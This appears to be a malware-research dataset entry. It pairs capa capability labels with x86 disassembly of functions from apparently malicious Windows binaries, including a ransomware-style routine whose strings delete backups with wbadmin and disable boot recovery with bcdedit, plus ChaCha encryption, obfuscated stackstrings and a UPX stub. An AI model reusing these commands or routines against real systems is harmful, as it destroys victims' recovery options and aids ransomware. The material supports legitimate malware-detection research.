joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403ee0
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x433004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, edx
lea eax, [ebp - 0x44]
push edi
mov edx, 0x40
nop dword [eax]
mov byte [eax], 0
inc eax
sub edx, 1
jne 0x403f00
push ebx
mov ebx, esi
lea edx, [ebp - 0x44]
shr ebx, 2
mov edi, ebx
test edi, edi
je 0x403f27
mov eax, dword [ecx]
add ecx, 4
mov dword [edx], eax
add edx, 4
sub edi, 1
jne 0x403f18
mov edi, esi
and edi, 3
je 0x403f3e
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
sub edi, 1
jne 0x403f30
xor ecx, ecx
test esi, esi
jle 0x403f5b
mov al, byte [ebp + ecx - 0x44]
cmp al, 0x41
jl 0x403f56
cmp al, 0x5a
jg 0x403f56
add al, 0x20
mov byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, esi
jl 0x403f44
mov dword [ebp - 0x48], esi
lea edx, [ebp - 0x44]
mov edi, 0x5b2d
cmp esi, 4
jl 0x403fa3
mov eax, ebx
neg eax
lea esi, [esi + eax*4]
nop dword [eax]
nop word [eax + eax]
imul ecx, dword [edx], 0x5bd1e995
add edx, 4
imul edi, edi, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
xor edi, ecx
sub ebx, 1
jne 0x403f80
xor ecx, ecx
pop ebx
sub esi, 1
je 0x403fc5
sub esi, 1
je 0x403fbc
sub esi, 1
jne 0x403fca
movzx ecx, byte [edx + 2]
shl ecx, 0x10
movzx eax, byte [edx + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [edx]
xor ecx, eax
imul edx, dword [ebp - 0x48], 0x5bd1e995
imul ecx, ecx, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
imul eax, edi, 0x5bd1e995
pop edi
pop esi
xor ecx, eax
mov eax, edx
shr eax, 0x18
xor eax, edx
imul ecx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
xor ecx, eax
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041b142
mov esp, ebp
pop ebp
ret 4
Function at 0x405180
Capabilities:
Delete windows backup catalog
Manipulate boot configuration

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x433004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x88], str.wbadmin.exe_delete_catalog_quiet
xor esi, esi
mov dword [ebp - 0x84], str.wbadmin.exe_delete_systemstatebackup__keepVersions:3
mov dword [ebp - 0x80], str.wbadmin.exe_delete_systemstatebackup
mov dword [ebp - 0x7c], str.bcdedit.exe__set_default_recoveryenabled_No
mov dword [ebp - 0x78], str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
nop dword [eax]
nop word [eax + eax]
mov eax, dword [0x435ab4]
xorps xmm0, xmm0
mov edi, dword [ebp + esi*4 - 0x88]
movaps xmmword [ebp - 0x60], xmm0
movaps xmmword [ebp - 0x50], xmm0
movaps xmmword [ebp - 0x40], xmm0
movaps xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x60], 0x44
movaps xmmword [ebp - 0x70], xmm0
mov eax, dword [eax + 4]
test eax, eax
jne 0x40522f
push 0x2ffbe59f
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov edx, dword [0x435ab4]
mov dword [edx + 4], eax
push edi
call eax
mov ecx, edi
lea edx, [eax*2 + 2]
call fcn.00413e40
mov edi, eax
test edi, edi
je 0x405382
mov ecx, dword [0x435ab4]
mov eax, dword [ecx + 0x54]
test eax, eax
jne 0x40526e
push 0x7324a0a2
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x54], eax
lea ecx, [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push 0
call eax
test eax, eax
je 0x405382
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0x7c]
test eax, eax
jne 0x4052b2
push 0xc5e8a09c
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x7c], eax
call eax
mov ecx, dword [0x435ab4]
mov dword [ebp - 0x74], eax
mov eax, dword [ecx + 0x74]
test eax, eax
jne 0x4052db
push 0x3ce51c64
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x74], eax
push edi
push 0
push dword [ebp - 0x74]
call eax
mov eax, dword [0x435ab4]
mov edi, dword [ebp - 0x70]
mov eax, dword [eax + 0x2c]
test eax, eax
jne 0x405309
push 0x6a095e21
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x2c], eax
push 0xffffffffffffffff
push edi
call eax
mov eax, dword [0x435ab4]
mov edi, dword [ebp - 0x70]
mov eax, dword [eax + 0x48]
test eax, eax
jne 0x405334
push 0xa5eb6e47
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x48], eax
push edi
call eax
mov eax, dword [0x435ab4]
mov edi, dword [ebp - 0x6c]
mov eax, dword [eax + 0x48]
test eax, eax
jne 0x40535d
push 0xa5eb6e47
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x48], eax
push edi
call eax
inc esi
cmp esi, 5
jl 0x4051e0
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041b142
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0041b142
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x40cac0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x433004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x435ab4]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov eax, dword [eax + 0xe0]
mov esi, ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x28
push edi
test eax, eax
jne 0x40cb0f
push 0xabcb0a67
lea edx, [eax + 1]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0xe0], eax
lea edi, [ebx + 0x58]
push edi
push 0x20
push esi
call eax
test eax, eax
jne 0x40cb31
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041b142
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0xe0]
test eax, eax
jne 0x40cb5b
push 0xabcb0a67
lea edx, [eax + 1]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0xe0], eax
lea esi, [ebx + 0x50]
push esi
push 8
push dword [ebp - 0xc]
call eax
test eax, eax
je 0x40cb1c
mov ecx, 0x40
lea eax, [ebx + 0x10]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x40cb72
mov ecx, edi
lea edx, [ebx + 0x78]
sub edx, edi
mov eax, dword [ecx]
mov dword [ebx + 0x20], eax
mov eax, dword [ecx + 4]
mov dword [ebx + 0x24], eax
mov eax, dword [ecx + 8]
mov dword [ebx + 0x28], eax
mov eax, dword [ecx + 0xc]
mov dword [ebx + 0x2c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebx + 0x30], eax
mov eax, dword [ecx + 0x14]
mov dword [ebx + 0x34], eax
mov eax, dword [ecx + 0x18]
mov dword [ebx + 0x38], eax
mov eax, dword [ecx + 0x1c]
mov ecx, 8
mov dword [ebx + 0x3c], eax
mov dword [ebx + 0x10], 0x61707865
mov dword [ebx + 0x14], 0x3320646e
mov dword [ebx + 0x18], 0x79622d32
mov dword [ebx + 0x1c], 0x6b206574
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x44], 0
mov eax, dword [esi]
mov dword [ebx + 0x48], eax
mov eax, dword [esi + 4]
mov dword [ebx + 0x4c], eax
nop dword [eax]
mov eax, dword [edi]
lea edi, [edi + 4]
mov dword [edx + edi - 4], eax
sub ecx, 1
jne 0x40cbf0
lea edi, [ebx + 0x98]
mov ecx, 2
sub edi, esi
nop dword [eax + eax]
mov eax, dword [esi]
lea esi, [esi + 4]
mov dword [edi + esi - 4], eax
sub ecx, 1
jne 0x40cc10
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0xdc]
test eax, eax
jne 0x40cc46
push 0x6c6c937b
lea edx, [ecx + 1]
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0xdc], eax
push 0x20c
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebx + 0x78]
push ecx
push 0
push 1
push 0
push dword [ebp - 0x10]
call eax
mov ecx, dword [ebp - 4]
neg eax
pop edi
sbb eax, eax
xor ecx, ebp
pop esi
neg eax
pop ebx
call fcn.0041b142
mov esp, ebp
pop ebp
ret 4
Function at 0x4109e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x435ab4]
sub esp, 0x28
mov eax, dword [eax + 0x90]
test eax, eax
jne 0x410a0f
push 0x5d48fbaf
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x90], eax
push esi
push 0x435adc
call eax
mov byte [ebp - 0x28], 0
mov byte [ebp - 0x27], 0x24
mov byte [ebp - 0x26], 0x6a
mov byte [ebp - 0x25], 0x59
mov byte [ebp - 0x24], 0x6a
mov byte [ebp - 0x23], 0x2c
mov byte [ebp - 0x22], 0x6a
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x6a
mov byte [ebp - 0x1f], 0x32
mov byte [ebp - 0x1e], 0x6a
mov byte [ebp - 0x1d], 0x24
mov byte [ebp - 0x1c], 0x6a
mov byte [ebp - 0x1b], 3
mov byte [ebp - 0x1a], 0x6a
mov byte [ebp - 0x19], 0x7b
mov byte [ebp - 0x18], 0x6a
mov byte [ebp - 0x17], 0x75
mov byte [ebp - 0x16], 0x6a
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6a
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x6a
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x10], 0x6a
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 0xd], 0x4b
mov byte [ebp - 0xc], 0x6a
mov byte [ebp - 0xb], 0x48
mov byte [ebp - 0xa], 0x6a
mov byte [ebp - 9], 0x77
mov byte [ebp - 8], 0x6a
mov byte [ebp - 7], 0x48
mov byte [ebp - 6], 0x6a
mov byte [ebp - 5], 0x6a
mov byte [ebp - 4], 0x6a
mov al, byte [ebp - 0x27]
cmp byte [ebp - 0x28], 0
jne 0x410ae0
xor ecx, ecx
lea esi, [ecx + 0x7f]
nop dword [eax]
mov al, byte [ebp + ecx - 0x27]
movzx eax, al
sub eax, 0x6a
imul eax, eax, 0x13
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0x27], dl
inc ecx
cmp ecx, 0x24
jb 0x410ac0
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0x30]
test eax, eax
jne 0x410b03
push 0xf06e87ca
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x30], eax
push 0
push 0x80000000
push 4
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x27]
push ecx
call eax
mov ecx, dword [0x435ab4]
mov esi, eax
mov dword [0x433774], esi
mov eax, dword [ecx + 0x178]
test eax, eax
jne 0x410b4d
push 0xa897e98d
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x178], eax
push 2
push 0
push 0
push esi
call eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x416ae0
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x433004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0
push 2
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x250], ebx
test ebx, ebx
je 0x416cea
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x416cc4
push esi
mov byte [ebp - 0x24c], 0
mov byte [ebp - 0x24b], 0x2f
mov byte [ebp - 0x24a], 0x78
mov byte [ebp - 0x249], 0x73
mov byte [ebp - 0x248], 0x78
mov byte [ebp - 0x247], 0x49
mov byte [ebp - 0x246], 0x78
mov byte [ebp - 0x245], 0x34
mov byte [ebp - 0x244], 0x78
mov byte [ebp - 0x243], 0x24
mov byte [ebp - 0x242], 0x78
mov byte [ebp - 0x241], 0x14
mov byte [ebp - 0x240], 0x78
mov byte [ebp - 0x23f], 0x2f
mov byte [ebp - 0x23e], 0x78
mov byte [ebp - 0x23d], 0x14
mov byte [ebp - 0x23c], 0x78
mov byte [ebp - 0x23b], 0x2c
mov byte [ebp - 0x23a], 0x78
mov byte [ebp - 0x239], 0x2f
mov byte [ebp - 0x238], 0x78
mov byte [ebp - 0x237], 0x73
mov byte [ebp - 0x236], 0x78
mov byte [ebp - 0x235], 0x2f
mov byte [ebp - 0x234], 0x78
mov byte [ebp - 0x233], 0x78
mov byte [ebp - 0x232], 0x78
mov al, byte [ebp - 0x24b]
cmp byte [ebp - 0x24c], 0
jne 0x416c43
xor esi, esi
lea ebx, [esi + 0x7f]
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + esi - 0x24b]
mov ecx, 0x78
movzx eax, al
sub ecx, eax
lea eax, [ecx + ecx*2]
shl eax, 3
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x24b], dl
inc esi
cmp esi, 0x1a
jb 0x416c10
mov ebx, dword [ebp - 0x250]
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0x70]
test eax, eax
jne 0x416c66
push 0xd72e57a9
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x70], eax
lea ecx, [ebp - 0x24b]
push ecx
lea ecx, [ebp - 0x20c]
push ecx
call eax
test eax, eax
jne 0x416cad
push 4
call fcn.0041cfe7
add esp, 4
test eax, eax
je 0x416cc3
mov dword [eax], 0
lea edx, [eax + 4]
mov ecx, dword [ebp - 0x228]
mov dword [eax], ecx
mov dword [edx], 0
mov ecx, dword [edi + 4]
mov dword [eax + 8], ecx
mov ecx, dword [edi + 4]
mov dword [ecx], eax
mov dword [edi + 4], edx
lea eax, [ebp - 0x230]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x416b32
pop esi
mov eax, dword [0x435ab4]
mov eax, dword [eax + 0x48]
test eax, eax
jne 0x416ce7
push 0xa5eb6e47
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x435ab4]
mov dword [ecx + 0x48], eax
push ebx
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0041b142
mov esp, ebp
pop ebp
ret
Function at 0x4098c1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a344]
jne 0x4098cb
repz ret
jmp fcn.0040e3ec

Function at 0x41261c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a344]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c1e2
and dword [ebp - 0x14], 0
cmp dword [0x437c2c], 0
mov dword [ebp - 0x18], eax
jne 0x4126cf
push 0x403754
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412777
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403748
push ebx
call edi
test eax, eax
je 0x412777
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403738
push ebx
mov dword [0x437c2c], eax
call edi
push eax
call esi
push 0x403724
push ebx
mov dword [0x437c30], eax
call edi
push eax
call esi
push 0x403708
push ebx
mov dword [0x437c34], eax
call edi
push eax
call esi
mov dword [0x437c3c], eax
test eax, eax
je 0x4126cf
push 0x4036f0
push ebx
call edi
push eax
call esi
mov dword [0x437c38], eax
mov eax, dword [0x437c38]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412728
cmp dword [0x437c3c], ecx
je 0x412728
push eax
call esi
push dword [0x437c3c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412728
test ebx, ebx
je 0x412728
call edi
test eax, eax
je 0x41271f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41271f
test byte [ebp - 8], 1
jne 0x412728
or dword [ebp + 0x10], 0x200000
jmp 0x41275b
mov eax, dword [0x437c30]
cmp eax, dword [ebp - 0x18]
je 0x41275b
push eax
call esi
test eax, eax
je 0x41275b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41275b
mov eax, dword [0x437c34]
cmp eax, dword [ebp - 0x18]
je 0x41275b
push eax
call esi
test eax, eax
je 0x41275b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x437c2c]
call esi
test eax, eax
je 0x412777
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412779
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004098c1
leave
ret
Function at 0x4145d0
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.00413bf0
cmp dword [0x7d7d84], 0x37
jne 0x414653
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x403f58
call edi
push 0
lea eax, [esp + 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40401c
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
push 0x404048
call edi
push 0
lea edx, [esp + 0xc08]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
pop edi
mov eax, dword [0x7d8968]
mov edx, dword [0x7d4de4]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40723c]
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_malloc]
lea eax, [eax + eax*4]
push edi
mov edi, dword [0x407238]
shl eax, 1
push eax
call esi
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x401031
xor esi, esi
jmp 0x4010eb
mov eax, dword [0x40723c]
lea eax, [eax + eax*4]
shl eax, 1
push eax
call esi
mov ebx, eax
pop ecx
test ebx, ebx
je 0x40107c
push edi
push 0x407f00
push dword [ebp - 4]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
test byte [0x40702c], 1
je 0x401080
lea eax, [ebp - 8]
push eax
mov eax, dword [0x40723c]
add eax, eax
push eax
push ebx
push edi
push dword [ebp - 4]
call fcn.00401366
add esp, 0x14
test eax, eax
je 0x401090
xor esi, esi
jmp 0x4010d7
push edi
push dword [ebp - 4]
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebp - 8], edi
xor esi, esi
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push dword [0x4124c0]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4010d0
lea eax, [ebp - 0xc]
push esi
push eax
push dword [ebp - 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
test edi, edi
je 0x4010d7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
mov edi, dword [sym.imp.MSVCRT.dll_free]
call edi
test ebx, ebx
pop ecx
je 0x4010eb
push ebx
call edi
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4abe00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x36000]
push edi
or ebp, 0xffffffff
jmp 0x4abe22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4abe29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4abe18
mov eax, 1
add ebx, ebx
jne 0x4abe3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4abe4c
jne 0x4abe6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4abe6b
dec eax
add ebx, ebx
jne 0x4abe58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4abe30
add ebx, ebx
jne 0x4abe67
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4abebd
xor ecx, ecx
sub eax, 3
jb 0x4abe83
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4abef2
sar eax, 1
mov ebp, eax
jmp 0x4abe8e
add ebx, ebx
jne 0x4abe8e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4abe5c
inc ecx
add ebx, ebx
jne 0x4abe9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4abe5c
add ebx, ebx
jne 0x4abea9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4abe9e
jne 0x4abeba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4abe9e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4abedc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4abece
jmp 0x4abe1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4abedc
add edi, ecx
jmp 0x4abe1e
pop esi
mov edi, esi
mov ecx, 0x743
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4abefa
cmp byte [edi], 1
jne 0x4abefa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4abeff
lea edi, [esi + 0xa9000]
mov eax, dword [edi]
or eax, eax
je 0x4abf6e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xabb08]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xabbd0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4abf2c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xabbd4]
or eax, eax
je 0x4abf68
mov dword [ebx], eax
add ebx, 4
jmp 0x4abf49
call dword [esi + 0xabbe4]
mov ebp, dword [esi + 0xabbd8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4abfa2
sub esp, 0xffffff80
jmp 0x40bbf4
Function at 0x40dcb4
Capabilities:
Encode data using xor

Disassembly:
xchg byte [ebx + 0x24fa5dc], al
sar dword [ebp + edi*8 + 0x3c12148e], 1
or edi, dword [ebp + 0x42]
mov esp, 0x12148efd
cmp al, 0xb
jge 0x40dd06
stc
pop eax
xor ah, cl
pop ss
sub al, 0xf5
or dword [ebx + 0x60], ebp
ja 0x40dcbb
std
ret
push ebp
lds eax, [edx]
or eax, 0xbf783edd
push esp
loope 0x40dd06
adc eax, 0xd378d10d
add dh, ah
mov ch, 0xae
dec ebx
mov eax, dword [0xc0c88f9a]
add edx, edx
enter 0x7703, 0x4f
jl 0x40dd74
or ah, byte [esp + edi*4]
mov ebx, 0x90294f3a
add byte [edi + 0x1e], dh
invalid
leave
invalid

Function at 0x420bdb
Capabilities:
Encode data using xor

Disassembly:
or dl, byte [edx]
push ecx
xor al, byte [edi + 0x4693c6d5]
push 0x21
xor byte [ebp + 0x24], 0xb1
daa
push esi
outsd dx, dword [esi]
xlatb
add dh, ah
fmulp st(7)
add eax, dword [ebp + 0x7560473]
xchg edi, eax
adc eax, 0x5f571ecf
adc eax, ebp
inc esi
sbb al, 0xfe
invalid

Function at 0x47dbe9
Capabilities:
Encode data using xor

Disassembly:
sub ebx, ecx
call 0xfb499dd0
retf
jns 0x47dc4d
or eax, 0xc09ccd4d
push 2
xchg esi, eax
sbb al, 0x2d
test dword [edx + 0x4b5560c8], esp
stc
xor al, ah
dec edx
daa
sub dword [eax + 0x5cad7fbd], ecx
rcr dword [edx + eax*2 + 0x14728584], 1
salc
and eax, 0x98e02c7
sbb al, byte [ecx]
shr edi, 0xc4
xchg ebx, eax
mov dword [edx], 0x41a098e
mov eax, dword [0x93c4efc1]
mov bh, byte [eax + 0x18]
out 0xb2, al
mov byte [0xcada73b], al
clc
jno 0x47dc10
adc byte [esi + 0x21eccd62], cl
pop esi
cwde
jecxz 0x47dbbe
xchg ecx, eax
pushfd
push edx
xlatb
dec ebx
rol dword [eax], cl
test dword [edx + edx*4 - 0x56], eax
xor eax, 0x355c11aa
mov eax, dword [0x66c142c1]
cdq
lcall 0x6a41, 0x246e31d1
sal dword [ecx], 1
outsb dx, byte [esi]
and al, 0x41
push 0xfffffffffffffff9
inc ecx
push 0xfffffffffffffff9
mov cl, 4
mov cl, 0x8c
cmp al, 0x74
sbb bh, byte [eax + ebx - 0x17]
lodsb al, byte [esi]
aam 0x52
je 0x47dc37
push edx
mov eax, dword [0xdd698fbc]
fdivr st(1), st(0)
out dx, al
salc
wait
sub dword [ecx + 0x5a], 0xa1ad11cf
shl dword [ebx + 0x4a53a69f], 0x86
rcl dword [ecx], 0x34
sub eax, 0x769a46b5
inc ebx
sbb al, 0xbd
iretd
Function at 0x54aa09
Capabilities:
Encode data using xor

Disassembly:
cmp al, byte [ecx]
adc al, 0xb2
mov byte [edi], dl
xchg edx, eax
sbb eax, 0xa3bb5795
lodsd eax, dword es:[esi]
mov bl, byte [ebp - 0x55]
rcr byte [edi - 0x6f], cl
aad 9
insd dword es:[edi], dx
xchg esi, eax
and ah, byte [esi - 0x1f810e5b]
div ah
xor dword [esi - 0x41], ebx
mov dl, 0x1d
pop es
xlatb
fisttp dword [esi + 0x65941209]
push edx
dec ecx
mov cs, word [ecx]
adc dl, byte [ebp + 0x59604952]
pushal
pop ecx
mov esi, 0xab6acfba
pop ecx
sbb dword [edx], edx
sbb eax, 0xc07d8a33
jg 0x54a9f8
stosd dword es:[edi], eax
mov edx, 0x78457a92
inc edx
push cs
pop ebp
lahf
insd dword es:[edi], dx
pushfd
jle 0x54aa95
pop edi
xor byte [eax + ebp*8], ch
cmp al, 0x3b
fsubr qword [edx]
and eax, 0x5feb1932
in al, 0x4f
cmp eax, 0x58d5a5b8
xchg ebp, eax
push edi
pop esp
call 0xbf5bce7e
in al, dx
fld dword [ebx - 2]
mov dh, 0x91
xchg esi, eax
cmp byte [esi], cl
ja 0x54aa27
dec ebx
mov eax, dword [0xef71936e]
aam 0xfb
test eax, 0x19355e06
jbe 0x54aa83
dec edi
push eax
and ebp, dword [edx + 0x3e8d9ed6]
sahf
lea edi, [esi]
dec edi
int 0xe6
inc esi
dec edx
stosd dword es:[edi], eax
cld
hlt
adc ebx, 0xa0a86b49
xchg esp, eax
loope 0x54aa20
